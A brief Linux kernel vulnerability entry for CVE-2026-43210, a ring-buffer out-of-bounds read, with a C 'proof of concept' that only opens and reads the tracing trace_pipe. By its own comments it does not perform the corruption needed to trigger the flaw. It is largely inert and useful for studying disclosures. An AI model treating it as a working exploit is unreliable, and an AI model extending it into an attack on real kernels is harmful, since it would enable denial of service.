CVE-2026-43210 Linux内核ring-buffer内存访问越界漏洞

/* * PoC for CVE-2026-43210 * This code demonstrates how a local user might interact with the ring buffer. * Exploitation requires the ability to introduce a corrupted length in the ring buffer, * or triggering the read path on a buffer that is already corrupted. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define TRACE_PATH "/sys/kernel/debug/tracing" int main() { int fd; char buffer[1024]; // Check if tracing is available if (access(TRACE_PATH, F_OK) == -1) { perror("Tracing interface not available"); return 1; } // Attempt to read trace data to trigger rb_read_data_buffer // In a real exploit scenario, an attacker would need to corrupt the // event length in the ring buffer memory first. fd = open(TRACE_PATH "/trace_pipe", O_RDONLY | O_NONBLOCK); if (fd < 0) { perror("Failed to open trace_pipe"); return 1; } printf("Reading from trace pipe to trigger vulnerable code path...\n"); // Reading data forces the kernel to parse the ring buffer ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { buffer[bytes_read] = '\0'; } close(fd); printf("Done. If the ring buffer contained a corrupted event length, the kernel would panic here.\n"); return 0; }